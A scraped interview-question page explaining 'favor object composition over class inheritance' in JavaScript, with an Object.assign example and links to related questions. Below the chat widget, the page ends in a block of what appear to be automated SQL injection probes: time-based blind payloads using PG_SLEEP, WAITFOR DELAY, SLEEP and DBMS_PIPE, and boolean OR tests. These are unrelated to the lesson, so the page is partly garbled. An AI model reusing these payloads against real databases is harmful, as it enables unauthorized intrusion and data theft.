What does “favor object composition over class inheritance” mean?
Answer
Favor object composition over class inheritance is a principle in object-oriented programming that suggests that it is often better to use object composition instead of class inheritance to achieve code reuse and extensibility.
Inheritance is a mechanism in which a class can inherit properties and methods from a parent class, but this can lead to a rigid and inflexible class hierarchy. In contrast, object composition involves creating objects that contain other objects, which can be used to build up more complex objects and behaviors.
By favoring object composition over class inheritance, developers can create more flexible and reusable code that is easier to maintain and extend over time. Object composition also allows for greater code reuse, since objects can be easily reused and combined to create new objects and behaviors.
Here's an example of object composition in JavaScript:
const person = { firstName: 'John', lastName: 'Doe', getFullName() { return `${this.firstName} ${this.lastName}`; } }; const employee = { jobTitle: 'Developer', salary: 100000, getJobInfo() { return `${this.jobTitle} - ${this.salary}`; } }; const johnDoe = Object.assign({}, person, employee); console.log(johnDoe.getFullName()); // Output: John Doe console.log(johnDoe.getJobInfo()); // Output: Developer - 100000
In this example, we create two objects (person
and employee
) that represent different aspects of a person's identity. We then use the Object.assign()
method to create a new object (johnDoe
) that combines the properties and methods of both objects. By using object composition, we can create new objects that have the properties and methods of multiple objects, without having to rely on class inheritance.
Related JavaScript job interview questions
When is classical inheritance an appropriate choice?
JavaScript MediorWhen is prototypal inheritance an appropriate choice?
JavaScript MediorWhat are two-way data binding and one-way data flow, and how are they different?
JavaScript JuniorWhat is asynchronous programming, and why is it important in JavaScript?
JavaScript MediorWhat are the advantages of using JavaScript?
JavaScript Junior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e